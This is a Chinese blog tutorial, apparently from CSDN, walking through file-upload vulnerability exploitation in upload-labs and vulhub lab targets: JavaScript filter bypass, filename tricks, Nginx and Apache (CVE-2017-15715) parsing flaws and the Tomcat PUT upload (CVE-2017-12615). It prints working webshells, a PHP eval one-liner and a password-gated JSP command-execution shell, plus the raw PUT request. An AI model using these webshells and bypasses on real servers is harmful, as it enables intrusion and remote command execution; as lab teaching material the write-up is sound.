文件上传-案例分析

文件上传-案例分析

陆续进行更新

在这里插入图片描述

什么是文件上传漏洞?
文件上传漏洞有哪些危害?
文件上传漏洞如何查找及判断?
文件上传漏洞有哪些需要注意的地方?
关于文件上传漏洞在实际应用中的说明?

利用
在这里插入图片描述

案例

本地文件上传漏洞靶场环境搭建测试

资源:https://github.com/c0ny1/upload-labs

在本地搭建靶场
在这里插入图片描述

在这里插入图片描述

上传图片并访问

在这里插入图片描述

只能上传图片,这里使用的前端js代码进行过滤,我们可以绕过这个js,进行上传我们的后门

在这里插入图片描述

网站代码中存在过滤语句,下载网站源码并删掉这个过滤语句

在这里插入图片描述

删掉这个script ,删掉后这里没有了提交函数,在form标签加上**action=“”**提交,通过对上面成功上传图片抓包得到上传的地址

 <li>
            <h3>任务</h3>
            <p>上传一个<code>webshell</code>到服务器。</p>
        </li>
        <li>
            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                <p>请选择要上传的图片:</p><p>
                <input class="input_file" type="file" name="upload_file">
                <input class="button" type="submit" name="submit" value="上传">
            </p></form>
            <div id="msg">
                            </div>
            <div id="img">
                            </div>
        </li>
	    <li id="show_code">
    <h3>代码</h3>

在这里插入图片描述

form标签加上action=“http://localhost:82/Pass-01/index.php”

用游览器打开

在这里插入图片描述

选择text.php文件上传,访问

http://localhost:82/upload/20201124032511.png -->> http://localhost:82/upload/text.php

在这里插入图片描述

上传成功,后台文件夹:

在这里插入图片描述

目录命名-x.php/.

Upload-labs-19:上传代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

上传text.php 抓包:

[
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

链接地址:http://1.12.250.218:300/upload/upload-19.php/

在这里插入图片描述

目录命名-x.php/.(2)

Upload-labs-20:上传代码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

上传text.php 抓包:

在这里插入图片描述

也可以:

在这里插入图片描述

root@a30954fb1db2:/var/www/html/upload# ls
sss.php  sss.php.

Nginx version 1.X 解析漏洞复现

在这里插入图片描述

启动靶机

在这里插入图片描述

只允许上传图片

在这里插入图片描述

在图片后面加入









?訤?>?    IEND瓸`?<?php phpinfo()?><?php phpinfo()?><?php phpinfo()?>

上传并访问

在这里插入图片描述

正常 ,继续访问

http://192.168.216.129/uploadfiles/98ac2d858506b06ca53a28ab3dbe8a0e.png/1.php

在这里插入图片描述

发现写入的php代码成功执行,这里的Nginx畸形解析

tomcat中间件任意文件上传漏洞 version: 8.5.19

资源:https://vulhub.org/#/environments/tomcat/CVE-2017-12615/

打开靶场查看端口:

crabin@crabin-virtual-machine:~/vulhub/tomcat/CVE-2017-12615$ docker-compose config
services:
  tomcat:
    build:
      context: /home/crabin/vulhub/tomcat/CVE-2017-12615
    ports:
    - 8080:8080/tcp
version: '2.0'

在这里插入图片描述

boup抓包:put上传

PUT /2.jsp/ HTTP/1.1
Host: 192.168.216.129:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 405

<%
     if ( "023" .equals(request.getParameter( "pwd" ))){
         java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter( "i" )).getInputStream();
         int a = - 1 ;
         byte [] b = new byte [ 2048 ];
         out.print( "<pre>" );
         while ((a=in.read(b))!=- 1 ){
             out.println( new String(b));
         }
         out.print( "</pre>" );
     }
%>

http://192.168.216.129:8080/2.jsp?i=ls&pwd=023

在这里插入图片描述

Apache HTTPD 2.4.0~2.4.29版本 换行解析漏洞(CVE-2017-15715)

https://vulhub.org/#/environments/httpd/CVE-2017-15715/

开启靶场:

在这里插入图片描述

上传一个名为1.php的文件,被拦截:

<?php @eval($_POST['a']);?>
<?php phpinfo()?>

[
在这里插入图片描述

在这里插入图片描述

在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:

在这里插入图片描述

访问刚才上传的/1.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:

在这里插入图片描述

在这里插入图片描述

漏洞原理

此漏洞的出现是由于apache在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析php时xxx.php\x0A将被按照php后缀进行解析,导致绕过一些服务器的安全策略。

root@d0eb3a2a6696:/etc/apache2/conf-enabled# cat docker-php.conf 
<FilesMatch \.php$>
	SetHandler application/x-httpd-php
</FilesMatch>

DirectoryIndex disabled
DirectoryIndex index.php index.html

<Directory /var/www/>
	Options -Indexes
	AllowOverride All
</Directory>


\ .php$ 中的$ 表示配置匹配后缀名文件的防盗链,而这个解析漏洞根本原因就是$ 这个符号,这个符号在正则表达式中是匹配字符串中结尾的位置,也就是说可以利用换行符使$ 与其匹配从而绕过黑名单机制实现文件上传,验证逻辑又是先会对上传的文件正则匹配验证后缀名是否包含了php,因为解析漏洞的存在,这里不会过滤php%0a,后续的黑名单机制也就如同摆设了
和 upload-labs .htaccess 文件后缀解析漏洞 差不多
Apache配置FilesMatch访问控制
<FilesMatch "\.(txt|doc|php)">          //凡是匹配到以txt/php/doc结尾的进行下面的策略匹配     
	SetHandler application/x-httpd-php                                                
</FilesMatch>

Weblogic 任意文件上传漏洞

参考资源:https://vulhub.org/#/environments/weblogic/CVE-2018-2894/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

crabin_lpb

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值